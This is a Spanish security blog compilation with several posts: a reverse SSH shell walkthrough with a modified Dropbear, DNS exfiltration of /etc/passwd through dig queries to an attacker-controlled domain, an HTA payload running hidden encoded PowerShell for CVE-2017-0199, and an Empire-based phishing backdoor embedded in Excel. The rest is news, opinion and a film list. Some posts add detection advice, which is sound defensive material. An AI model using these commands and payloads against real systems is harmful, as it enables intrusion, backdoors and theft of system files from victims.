Koala: un servidor Dropbear modificado para obtener una shell inversa por SSH

Koala es una versión "parcheada" del servidor SSH Dropbear que, en lugar de abrir un puerto y dejarlo a la escucha, lo que hace es abrir una shell inversa conectándose a un cliente remoto.

Esto es muy útil para conseguir una terminal pty en una máquina comprometida y también para la exfiltración segura de datos a través de un reenvío de puertos SSH (port forwarding SSH). También se puede pivotar mediante el port forwading dinámico por SSH.

Instalación:

git clone https://github.com/mrschyte/pentestkoala.git

cd pentesterkoala

./configure

vi options.h (configurar las opciones deseadas)

make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"

make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install


Uso (paso a paso)

1.- ATACANTE

# ncat -lvp 5000 --sh-exec 'ncat -lvp 9999'
Ncat: Version 7.12 ( https://nmap.org/ncat )
Ncat: Listening on :::5000
Ncat: Listening on 0.0.0.0:5000



2.- SERVIDOR COMPROMETIDO

# dropbear -p 192.168.1.180:5000
root@WEBBS:/home/vmotos/tools/pentestkoala# [1226] Apr 24 01:00:00 Child connection from 192.168.1.180:5000



3.- ATACANTE

...
Ncat: Connection from 192.168.1.180.
Ncat: Connection from 192.168.1.180:45733.
Ncat: Version 7.12 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999

# ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null localhost -D9050 -p9999
Warning: Permanently added '[localhost]:9999' (ECDSA) to the list of known hosts.


The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@kali:~# uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux


(4.- SERVIDOR COMPROMETIDO)

# [6381] Apr 24 11:14:47 Generated hostkey fingerprint is md5 ef:23:bc:62:05:59:3e:e7:5f:e2:e6:05:3c:32:b0:a6

Fuente: https://github.com/mrschyte/pentestkoala/

¿Y tú, implementas alguna medida para detectar tráfico DNS malicioso?

Hoy leía en el blog de Sans una breve pero interesante entrada de Xavier Mertens que reseñaba la importancia de revisar la longitud de las consultas DNS en la red para detectar actividad maliciosa.

A estas alturas, todos sabemos que el servicio DNS se puede utilizar de varias maneras para evitar los controles de seguridad perimetral. El túnel DNS es ya una forma muy extendida de establecer conexiones con sistemas remotos (casi siempre con la intención de obtener una shell inversa y/o exfiltrar datos) y normalmente se basa en registros "TXT" utilizados para entregar el payload codificado.

Demasiadas solicitudes TXT DNS suelen apuntar a que algo extraño está sucediendo en la red, pero el "blue team" ha de tener cuidado para no darse de bruces ante la detección un buen número de falsos positivos porque los registros "TXT" también se utilizan con buenos propósitos, como el envío de registros SPF.

Adicionalmente, en lugar de utilizar registros TXT, la exfiltración de datos puede ocurrir directamente a través de resoluciones simples de FQDN ("Fully Qualified Domain Name"). El RFC 1035 establece que una longitud de consulta DNS es de 255 caracteres en total con cada subdominio de 63 caracteres o menos. Mediante el uso de Base32, podemos codificar nuestros datos en cadenas compatibles con los requisitos de DNS: "A-Z", "0-9" y "-".

Es fácil exfiltrar un archivo con el siguiente comando shell. Por ejemplo, podemos codificar un archivo (por ejemplo /etc/passwd) y generar varias solicitudes DNS a un dominio controlado por el atacante:
$ cat /etc/passwd | base32 -w 63 | while read L

do
  dig $L.data.rootshell.be @192.168.254.8
done

Ten en cuenta que el parámetro '-w 63' hace que la codificación respete el RFC. En el lado del atacante se verá llegar las siguientes peticiones:
$ grep 'data.rootshell.be' queries.log

20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E (192.168.254.8)

...

Para decodificarlo, simplemente se puede lanzar el comando:
$ grep 'data.rootshell.be' queries.log | cut -d ' ' -f8 | cut -d '.' -f1| base32 -d | more

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
...

Y tampoco hace falta tener levantado un servidor DNS, basta con esnifar el tráfico entrante:
# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep "A\? .*\.data\.rootshell\.be"

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

    172.x.x.x.40335 > 192.168.254.8.53: [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.35770 > 192.168.254.8.53: [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.41463 > 192.168.254.8.53: [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.38048 > 192.168.254.8.53: [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

...

No obstante, incluso hay que tener especialmente cuidado para detectar peticiones de resolución de nombres tan largos porque algunas CDNs utilizan peticiones también bastantes largas para identificar archivos, por ej.:

hxxps://2ecffd01e1ab3e9383f0-07db7b9624bbdf022e3b5395236d5cf8.ssl.cf4.rackcdn.com/Product/178ee827-0671-4f17-b75b-2022963f5980.pdf

¿La solución para una buena defensa? Para reducir el riesgo de falsos positivos hay que combinar varios controles como el volumen de tráfico por IP y por subdominios, la longitud de las peticiones DNS, el patrón y formato de las peticiones DNS y la repetición del destino de las peticiones (probable C2). Además de varias medidas como la creación de listas blancas y, quizás lo más efectivo, limitar el "horizonte" DNS (que sólo pueda resolver nombres de Internet un proxy).

¿Y tú, implementas alguna medida para detectar tráfico DNS malicioso?

Canal encubierto entre dos VM usando el caché compartido de la CPU

Un grupo de investigadores ha demostrado que puede extraer información de una máquina virtual de Amazon Web Services a través de la memoria caché de una CPU que comparte con otras VM en la nube.

Un documento titulado (traducido) "Hola desde el otro lado: SSH sobre los canales encubiertos del robusto caché en la nube (PDF)" explica los retos de la extracción de datos de caché de la CPU, un recurso muy usado en el que el sistema operativo, el hipervisor y las aplicaciones llevan a cabo operaciones frecuentes. Toda esa actividad hace mucho ruido, desafiando los intentos de crear un canal de comunicaciones persistente.

Hasta ahora, como afirman los investigadores, han construido "un canal encubierto de alto rendimiento que puede mantener velocidades de transmisión de más de 45 Kbps en Amazon EC2". Incluso lo han cifrado: la técnica establece una red TCP dentro de la caché y transmite datos usando SSH.

Los resultados son impresionantes, recientemente en la Black Hat Asia se dio una charla en la que se detalló su trabajo y se demostró incluso cómo transmitir video de VM a VM usando la memoria caché de un host.

El paper explica que este material no es totalmente nuevo, pero hasta ahora no ha sido totalmente exitoso porque se ha asumido que "el código de corrección de errores se puede aplicar directamente, y la suposición de que el ruido efectivamente elimina los canales encubiertos".

Los autores derriban ambos argumentos, el primero por encontrar una manera de manejar los errores y el segundo con la creación de un método efectivo de programación de la comunicación entre dos máquinas virtuales.

El documento detalla estos esfuerzos que denomina "Cache-based Jamming Agreement" y ofrecen el código en GitHub para que quién quiera pueda construir su propio canal encubierto en caché, ya sea en el local o en la nube.

Conseguir esto en la nube no es trivial, porque primero se debe averiguar cómo obtener dos máquinas virtuales que se ejecutan en el mismo host, aunque un documento de 2015 titulado "A Placement Vulnerability Study en Multi-Tenant Public Clouds" encontró que es posible en Amazon, Google y Azure y es citado por los autores del paper.

Digamos que este ataque puede parece un poco "exótico", pero también demuestra por qué muchos usuarios están dispuestos a pagar por tener las instancias dedicadas en su nube. También podemos ver que el multi-tenancy todavía tiene un largo camino por recorrer.

Fuente: Researchers steal data from CPU cache shared by two VMs

Explotación práctica de CVE-2017-0199 (Windows RTF RCE)

Red teams, juakers y demás fauna están enviando masivamente documentos maliciosos que explotan la vulnerabilidad CVE-2017-0199 y luego usan MS17-010 para pivotar a través de dominios internos, literalmente están lloviendo shells…

Si recordáis, la vulnerabilidad etiquetada como CVE-2017-0199 nació como un 0-day que explotaba las últimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la República de Donestk y que comprometía el PC de la víctima con sólo abrirlo (permitía RCE). Luego se usó también para instalar malware como Latentbot y en campañas del troyano bancario Dridex, aunque hasta ahora no había mucho detalle del exploit.

Y digo hasta ahora porque en varios sitios están reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como decía al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones “hasta la cocina”.

Uno de los más "didácticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:

- Modificar el código fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar automáticamente el objeto OLE

Echémosle un vistazo a cómo llevarlo a cabo paso a paso:

Paso 1

Prepara un archivo HTA: (el archivo HTA es una aplicación HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html xmlns="hxxp://www.w3.org/1999/xhtml"> 

  <head> 

    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
    <title>Bonjour
    </title> 

    <script language="VBScript"> 
      Set owFrClN0giJ = CreateObject("Wscript.Shell") 
      Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject") 
      If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then 

      owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL" 
      End If

    </script> 
    <hta:application 

                     id="oHTA" 
                     applicationname="Bonjour" 
                     application="yes" 
                     > 

    </hta:application> 
  </head> 
  <div> 

    <object type="text/html" data="hxxp://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%"> 

    </object>
  </div>   
  <body> 
  </body> 
</html>

Paso 2

Crea un sencillo documento RTF utilizando Winword con cualquier contenido. (En el ejemplo la frase “This is my official and legit content”)

Shadow Brokers libera más exploits que ponen en riesgo a los equipos Windows que no hayan sido recientemente actualizados

El 8 de enero Shadow Brokers puso a subasta una lista de exploits que robó a Equation Group ("aka NSA").
El pasado Viernes Santo/14 de abril, y más de tres meses después, el enigmático Grupo ha liberado más exploits, algunos como Fuzzbunch y DanderSpritz que ya anunciaron, otros 0-days para explotar Microsoft Windows, y también para otras vulnerabilidades en Lotus Domino y SWIFT.

El volcado contiene tres directorios llamados Windows, Swift y OddJob. La carpeta de Windows contiene varias herramientas para explotar Windows, OddJob contiene un implant que puede ser instalado en sistemas operativos Windows (aunque los detalles son escasos en este momento) y el directorio SWIFT contiene secuencias de comandos SQL que buscan datos específicos de SWIFT dentro de bases de datos, y archivos de texto y Excel como el de la imagen que demuestran que Equation Group había hackeado y obtenido acceso a varios bancos en todo el mundo.

Microsoft ya ha movido ficha (¿avisados por quién?) emitiendo un comunicado en el que afirma que todas las vulnerabilidades han sido previamente parcheadas, lo cuál no quita que haya material suficiente para alimentar cualquier arsenal con estos exploits y herramientas para comprometer las desactualizadas máquinas de las siempre incautas víctimas:

- Repositorio en Github con el leak: https://github.com/misterch0c/shadowbroker/

Saeta de Semana Santa... La muerte de la "scene"

No sé si con el paso de los años me estoy volviendo blando, o que cada vez leer noticias de seguridad se me hace mas pesado (lo cierto es que hoy soy el riñón astío de Jack). Antes abordaba esta tarea como algo natural, algo entusiasmante; podías encontrar cualquier cosa... meterse en un foro "hacker" era emocionante, trepidante, incluso rayaba en la ilegalidad.

Hoy por hoy solo encuentras Ingenieros (cosa que no es mala)...XD... pero a muchos les podríamos quitar sin dilación la raíz latina de "genium" y les podríamos poner cualquier otra y daría igual o. lo que es peor, solo encuentras intereses, balances, activos y demás lindezas.

Los e-zines han dado paso a las "macro charlas de seguridad" financiadas por los gigantes de las telecomunicaciones, y presididas por los cuerpos de seguridad (que antes te miraban con cara rara y como te descuidaras te financiaban un buen par de .....). La palabra hacker ha dado paso a "consultor de seguridad", cosa que profesionalmente mirado, no es nada malo... pero señores es muy aburrido.

No sé si la scene con la incursión reclutatoria de la empresa privada se está volviendo algo tremendamente soporífero, o por consecuencia era la senda evolutiva, pero lo fijo es que pierde frescura a marchas forzadas.

Ya solo quedan o chicos muy malos (los cuales aun me sorprenden) o chicos muy buenos. A riesgo de la crucifixión (muy acorde con las fechas) os dejo estos pobres pensamientos para la reflexión, pero si al poneros al frente de vuestro ordenador a las 2 de la mañana ya no os resulta tan trepidante como en aquellos años... DEBERÍAIS VER MENOS LA TELE... o quizás y solo quizás la crisis, la necesidad o las imágenes idealizadas de lo que nos meten por los ojos de lo que es el triunfo nos haga perder el horizonte y tengamos menos reparos al vender nuestro culo.

Recopilado de Inet:

"Nicholas Allegra (Comex) - De JailbreakMe a becario de Apple"

A este joven de 19 años de Nueva York, se le metió entre ceja y ceja romper la seguridad que Apple impone al iOS del iPhone y el iPad. El objetivo era simple: Comex, como se le conoce en Internet, quería desarrollar e instalar sus propias aplicaciones sin tener que pasar por el control del sistema operativo. El resultado fue el código de JailbreakMe, que posibilita al usuario instalar sus propias aplicaciones y extensiones sin necesidad de pasar por el AppStore, e incluso permite revertir el proceso utilizando iTunes.
Adueñarse del control del dispositivo no es en realidad ilegal, pero sí provoca la pérdida de la garantía de Apple sobre el producto. Además, el agujero de seguridad podría ser aprovechado por otros desarrolladores con peores intenciones. De ahí que Apple tardara poco más de una semana en parchear el sistema. No obstante hoy la noticia es que Comex pasará a ser empleado de Apple, la misma empresa a la que ha hackeado.

MouseJack o cómo comprometer un ordenador "secuestrando" un ratón inalámbrico

Hoy vamos a ver una de esas vulnerabilidades que llaman la atención por su originalidad y cuya repercusión incluso deriva en la creación de una página web con su nombre: http://www.mousejack.com/.

Se trata de MouseJack descubierta hace más o menos un año por el equipo de Bastille y es una clase de vulnerabilidades que afecta a la gran mayoría de los teclados y ratones inalámbricos, no Bluetooth. Estos periféricos están 'conectados' al ordenador usando un transceptor de radio, comúnmente un pequeño dongle USB. Dado que la conexión es inalámbrica y los movimientos del ratón y las pulsaciones de teclas se envían por aire, es posible comprometer el PC de una víctima mediante la transmisión de señales de radio especialmente diseñadas utilizando un dispositivo que cuesta tan sólo unos 15€ aprox.

Un atacante puede lanzar el ataque desde 100 metros de distancia. El atacante es capaz de tomar el control de la computadora objetivo, sin estar físicamente frente a ella, y escribir texto arbitrariamente o enviar comandos mediante scripts. Por lo tanto, es posible realizar rápidamente actividades maliciosas sin ser detectado.

La explotación de MouseJack se centra alrededor de la inyección de pulsaciones de teclas sin cifrar en un equipo de destino. Los movimientos del ratón suelen enviarse sin cifrar pero las pulsaciones de teclas si suelen estar cifradas (para evitar eavesdropping mientras se está escribiendo). Sin embargo, la vulnerabilidad de MouseJack se aprovecha de algunos receptores/dongles y su software correspondiente, permitiendo que las pulsaciones de teclas no cifradas transmitidas por un atacante se trasladen al sistema operativo como si la víctima las hubiera escrito legítimamente.

Sirva de ejemplo el siguiente vídeo:

A la izquierda está la máquina de la víctima que tiene un dongle conectado para un ratón inalámbrico. A la derecha está el atacante. La parte superior derecha es una configuración de escucha para recibir una conexión de vuelta de la máquina de la víctima (shell reversa meterpreter). La parte inferior derecha es el atacante que inyecta pulsaciones de teclas después de secuestrar el dongle del ratón inalámbrico. El atacante ejecuta un powershell de una sola línea y recibe una conexión de vuelta de la máquina de la víctima que ahora controla en la parte superior derecha.

Para obtener más información sobre la vulnerabilidad de MouseJack puedes visitar también la web oficial, leer el white paper técnico de MouseJack y ver la lista de dispositivos afectados.

¿A qué ahora añoras tu viejo ratón con cable? ;)

PowerMeta: un script en PowerShell para buscar los ficheros públicos de un dominio y extraer sus metadatos

PowerMeta es un script en PowerShell que busca archivos públicos alojados en varios sitios web para un dominio en particular usando búsquedas personalizadas en Google y Bing, luego permite su descarga y finalmente analiza los metadatos asociados mediante Exiftool. Ya sabemos que los metadatos muchas veces facilitan datos tan interesantes como nombres de usuario, dominios, tipos de software, nombres de equipo, etc. por lo que usar esta herramienta en las fases iniciales de reconocimiento de un test intrusión puede resultar bastante interesante.

Para usar PowerMeta sólo tendremos que poner el ejecutable de la herramienta Exiftool en el mismo path (si no te fías del repo puedes descargarla desde aquí). Por defecto, sólo extrae los campos 'Autor' y 'Creador', ya que estos normalmente son los que siempre se guardan con los documentos. Sin embargo, también se pueden extraer todos al pasarle a PowerMeta el parámetro -ExtractAllToCsv.

Uso

Búsqueda básica

Con el siguiente comando, mediante Google y Bing se buscan archivos en el dominio 'targetdomain.com' con las extensiones pdf, docx, xlsx, doc, xls, pptx o pptx. Una vez que haya terminado de elaborar esta lista, preguntará al usuario si desea descargar los archivos y, después de descargarlos, volverá a solicitar la extracción de metadatos de esos archivos.

C:\PS> Invoke-PowerMeta -TargetDomain targetdomain.com

Guardar los resultados en un archivo

El mismo comando anterior con la salvedad de que se guardarán los enlaces a los archivos encontrados en "target-domain-links.txt".

C:\PS> Invoke-PowerMeta -TargetDomain targetdomain.com -TargetFileList target-domain-links.txt

Cambiar los tipos de archivo y permitir la descarga y extracción automáticas

El siguiente comando buscará con Google y Bing archivos con la extensión pdf o xml en el dominio 'targetdomain.com'. Luego, los descargará automáticamente y extraerá los metadatos.

C:\PS> Invoke-PowerMeta -TargetDomain targetdomain.com -FileTypes "pdf, xml" -Download -Extract

Extraer todos los metadatos y limitar la búsqueda de páginas

Este comando buscará también en Google y Bing archivos con extensión pdf, docx, xlsx, doc, xls, pptx o pptx en el dominio 'targetdomain.com', pero sólo buscará en las dos primeras páginas. Todos los metadatos (no sólo los campos predeterminados) se guardarán en un CSV llamado all-target-metadata.csv.

C:\PS> Invoke-PowerMeta -TargetDomain targetdomain.com -MaxSearchPages 2 -ExtractAllToCsv all-target-metadata.csv

Extraer metadatos de archivos de un directorio

Este comando simplemente extraerá todos los metadatos de todos los archivos de la carpeta "\2017-03-031-144953" y los guardará en un CSV llamado all-target-metadata.csv

C:\PS> ExtractMetadata -OutputDir .\2017-03-031-144953\ -ExtractAllToCsv all-target-metadata.csv

Opciones de PowerMeta

TargetDomain        - The target domain to search for files.
FileTypes           - A comma seperated list of file extensions to search for. By default PowerMeta searches for "pdf, docx, xlsx, doc, xls, pptx, ppt".
OutputList          - A file to output the list of links discovered through web searching to.
OutputDir           - A directory to store all downloaded files in.
TargetFileList      - List of file links to download.
Download            - Instead of being prompted interactively pass this flag to auto-download files found.
Extract             - Instead of being prompted interactively pass this flag to extract metadata from found files pass this flag to auto-extract any metadata.
ExtractAllToCsv     - All metadata (not just the default fields) will be extracted from files to a CSV specified with this flag.
UserAgent           - Change the default User Agent used by PowerMeta.
MaxSearchPages      - The maximum number of pages to search on each search engine.

Proyecto: https://github.com/dafthack/PowerMeta

¿Debemos prohibir el anonimato en Internet por un bien general?

Hoy me salgo un poco de la tendencia natural del blog en cuanto a entradas técnicas, esta vez para escribir una mera opinión personal con respecto al último speech de Iker Jiménez al cierre del programa de Cuarto Milenio del pasado domingo.

En resumen, Iker aboga por no permitir el anonimato total en Internet para no dejar a la parte oscura de la Red actuar con total impunidad, sobre todo a raíz de los denominados ‘Grupos de la muerte’ con origen en Rusia que han inducido al suicidio a cientos de niños a través de Internet. Esto es muy serio, no se puede imaginar nada que repugne más que esos hechos ni concebir nada más repudiable que lo ha acontecido. No debemos permitir que personas en Internet sufran acoso y debemos proteger sobretodo a los más vulnerables, pero prohibir el anonimato de forma global, a parte de una quimera, no es la solución. Intento explicarme primero con un sencillo ejemplo.
   
En el mundo físico cuando entras a un bar en el que no eres asiduo lo haces con cierto anonimato. Los camareros no te conocen y, aunque el local puede tener instalada alguna cámara, está normalmente no tiene reconocimiento facial y no está conectada a una base de datos con la que identificarte en tiempo real con tu nombre, apellidos y/u otra información personal. Tomas un café, charlas con un amigo y cuando sales lo único que queda es el volátil recuerdo de los que estaban inmiscuidos.

En el mundo virtual y casi por defecto, aunque entres en un bar en el que no has estado nunca, la cámara capta tu imagen e inmediatamente tu identidad queda registrada, tu presencia es anunciada a toda la cadena de bares de la marca, además de a otras empresas con las que tiene acuerdos. Tomas un café y la cantidad de azúcar, el tipo de café elegido es almacenado, clasificado y compartido también con terceros para obtener estadísticas comerciales que sirven para dirigir mejor los productos. Hablas con un amigo y tu conversación es grabada, si pronuncias ciertas palabras o hablas de algún tema concreto adicionalmente eres investigado.

No estoy exagerando, eso ya se está haciendo. Hoy en día el anonimato total en Internet es muy difícil y sólo una ilusión para muchos. Pero aún así, todavía existen opciones para mantener cierto nivel de anonimato y privacidad. aunque sea parcialmente. Siguiendo con el silogismo, para mantener el anonimato en nuestro particular bar virtual entraríamos con sombrero, gafas y peluca (cambiaríamos la dirección IP, utilizaríamos otro ordenador y/o navegador, etc.), cada día pediríamos un café distinto evitando repetir patrones y con nuestro amigo hablaríamos en un idioma inventado que sólo ambos entendéis.

¿Cómo se puede evitar que no se haga esto? Pues se me ocurre no dejar entrar al bar a nadie sin confirmar su identidad como si una reserva de derecho de admisión se tratase, permitir hablar sólo un idioma oficial y dejar claro cuáles son las normas y reglas del juego si se quiere estar dentro. Pero sobretodo, permitir también la existencia de otros bares en los que si se pueda mantener cierta libertad.

Con todo esto quiero decir que Internet es ya demasiado compleja para poder llevar a cabo una medida global que afecte a todos. No se puede eliminar por completo el anonimato. Primero porque técnicamente es prácticamente imposible ya que, como en el mundo real, cualquiera podría evadir los controles establecidos, suplantar y presentarse con una identidad falsa. Y segundo porque tampoco sería justo. Por ejemplo, existen regímenes que castigan severamente a las personas sólo por ejercer la libertad de expresión, estaríamos entonces "ahogándoles" y condenándoles al ostracismo.

Lo ideal es que se estandaricen unas normas que cada web pueda implementar, de tal forma que sea etiquetada para que el usuario, cuando la vea, sepa que debe identificarse y que va a realizársele cierto seguimiento al utilizar su servicio, que debe conocer al detalle. Luego, por el contrario, que haya otros sitios que no requieran esta identificación (y no sólo hablo de la Deep Web) y ahí especialmente es cuando los padres han de estar atentos y establecer un control parental para que sus hijos menores no puedan acceder. Por lo que, y difiero con lo decía Iker, el conocimiento, la educación y la cultura son muy importantes.

En definitiva, el mensaje de Iker proponía eliminar el anonimato en Internet por un bien general: eliminar la impunidad y erradicar la delincuencia en Internet. Pero no se trata de extremos, ni ser un absoluto censor, una “Corea del Norte o China”, ni un “Déjenme mi libertad mi paginitas y los demás que les den”. El anonimato debe ser también un derecho, al igual que un sitio en Internet pueda decidir no permitir acceder a él de forma anónima. Sólo (que no es poco) que los padres debemos educar e intentar supervisar a nuestros pequeños y restringirles si es necesario el acceso a aquellos sitios que si lo permitan.

Sherlock, un script en PowerShell para escalar privilegios que incluye 9 CVEs

Sherlock es un script en PowerShell de Rasta Mouse que revisa rápidamente la existencia de parches para vulnerabilidades de escalado de privilegios en Microsoft Windows.

Actualmente busca:
  • MS10-015 : User Mode to Ring (KiTrap0D) 
  • MS10-092 : Task Scheduler 
  • MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow 
  • MS13-081 : TrackPopupMenuEx Win32k NULL Page 
  • MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference 
  • MS15-051 : ClientCopyImage Win32k 
  • MS15-078 : Font Driver Buffer Overflow 
  • MS16-016 : 'mrxdav.sys' WebDAV 
  • MS16-032 : Secondary Logon Handle Probado en: Windows 7 SP1 32-bit Windows 7 SP1 64-bit Windows 8 64-bit Windows 10 64-bit 
Uso básico: 
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are Win7-x64\Rasta

Una lista de películas y series que todo hacker debe ver

No sólo de ver un monitor vive el hombre, también se dedican muchas muchísimas horas a derretirse los ojos viendo series y películas, de hecho mientras escribo tengo en la TV puesta una... jajaja
Pero, ¿cuáles son aquellas calificadas como pertenecientes al género hacker (a veces también cyberpunk o geek)? ¿y de esas cuáles son las que agitan tu mente y te levantan del asiento para correr hacia tu portátil a hackear y dominar el mundo?

Evidentemente cada uno tiene sus gustos y preferencias, y lo que llama a unos a otros les causa rechazo o indiferencia, por lo que hacer un top de películas y series sería bastante personal y subjetivo.
Lo que por el contrario sí es bastante objetivo es un recopilatorio publicado en Github por el griego Nikolaos Kamarinakis, que recoge un impresionante listado de películas y series puntuada con la valoración media de los usuarios de IMDB.

¿Cuáles te faltan por ver?

Películas

Thrillers / Películas de Drama

PELÍCULA GÉNERO AÑO PUNTUACIÓN
WarGames: The Dead Code Thriller/Drama 2008    4.5/10
WarGames Thriller/Drama 1983 7.1/10
Hackers Crimen/Drama 1995 6.2/10
Anonymous Crimen/Drama/Thriller 2016 6.4/10
Antitrust Thriller/Drama 2001 6.1/10
Reboot Thriller/Drama 2012 4.1/10
Takedown Thriller/Drama 2000 6.3/10
23 Thriller/Drama 1998 7.3/10
The Net Thriller/Drama 1995 5.8/10
The Net 2.0 Thriller/Drama 2006 4.7/10
Underground: The Julian Assange Story Drama/Biografía 2012 6.8/10
The Fifth Estate Thriller/Drama 2013 6.2/10
The Social Network Drama/Historia 2010 7.7/10
Enemy of the State Thriller/Drama 1998 7.3/10
The Girl with the Dragon Tattoo Thriller/Drama 2011 7.8/10
Snowden Drama/Thriller 2016 7.3/10
Algorithm Crimen/Drama/Thriller 2014 4.8/10
Who Am I Crimen/Drama 2014 7.6/10
Hacker's Game Drama/Thriller 2015 3.8/10
Blackhat Drama/Thriller 2015 5.4/10
The Thirteenth Floor Thriller/Misterio 1999 7/10
Swordfish Acción/Thriller 2001 6.5/10
Live Free or Die Hard Thriller/Acción 2007 7.2/10
Untraceable Slasher/Thriller 2008 6.2/10
The Imitation Game Drama/Thriller 2014 8.2/10
Pi Drama/Misterio 1998 7.5/10
Primer Drama/Thriller 2004 7.0/10
Listening Thriller/Drama 2014 5.6/10

Owneando vía OLE

La definicion que nos da nuestra amiga Wikipedia sobre OLE es: "Object Linking and Embedding (OLE), cuya traducción literal es "incrustación y enlazado de objetos", es el nombre de un sistema de objetos distribuido y un protocolo desarrollado por Microsoft.
OLE permite a un editor encargar a otro la elaboración de parte de un documento y posteriormente volverlo a importar. Por ejemplo, un sistema de publicación de escritorio puede enviar un poco de texto a un procesador de textos o una imagen a un editor de bitmap usando OLE. La ventaja principal de usar OLE, además de que el tamaño del archivo es menor, es la de poder crear un archivo principal. Se puede hacer una referencia a los datos de ese archivo, con lo que todo cambio posterior en el archivo principal se reflejará en el documento referenciado."

Pues como nos cuenta Wikipedia, OLE es una incrustación y enlazado de objetos que se encuentra en el paquete de Microsoft Office, ¿y qué podremos hacer con esto?. Algo bastante sencillo pero que puede poner en apuros a la persona que deseemos atacar, o si pretendemos hacer una campaña de phishing, un metodo de conseguir crear un backdoor en la maquina víctima gracias a un archivo .bat incrustado como objeto en un archivo Excel siendo totalmente indetectable, ahora sí, la eficiencia del ataque dependerá de nuestra maña usando ingeniera social para "engañar" a nuestra víctima.

Para esto, usaremos la tool Empire para obtener el backdoor en batch y generar un listener. Como es de sentido común, necesitaremos tener Microsoft Office para incrustar el batch en el excel; y por supuesto, la victima deberá tener también instalado Microsoft Office.

Lo primero que haremos será arrancar en una terminal nuestro Empire (instalado previamente) con ./empire , al iniciar la herramienta, lo que haremos, será ejecutar un listener. (Para editar cada parámetro solo hará falta escribir: set <parámetro> (IP, port...)).

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       180 modules currently loaded

       0 listeners currently active

       0 agents currently active


(Empire) > listeners
[!] No listeners currently active 
(Empire: listeners) > options

Listener Options:

  Name              Required    Value                            Description
  ----              --------    -------                          -----------
  KillDate          False                                        Date for the listener to exit (MM/dd/yyyy).
  Name              True        test                             Listener name.
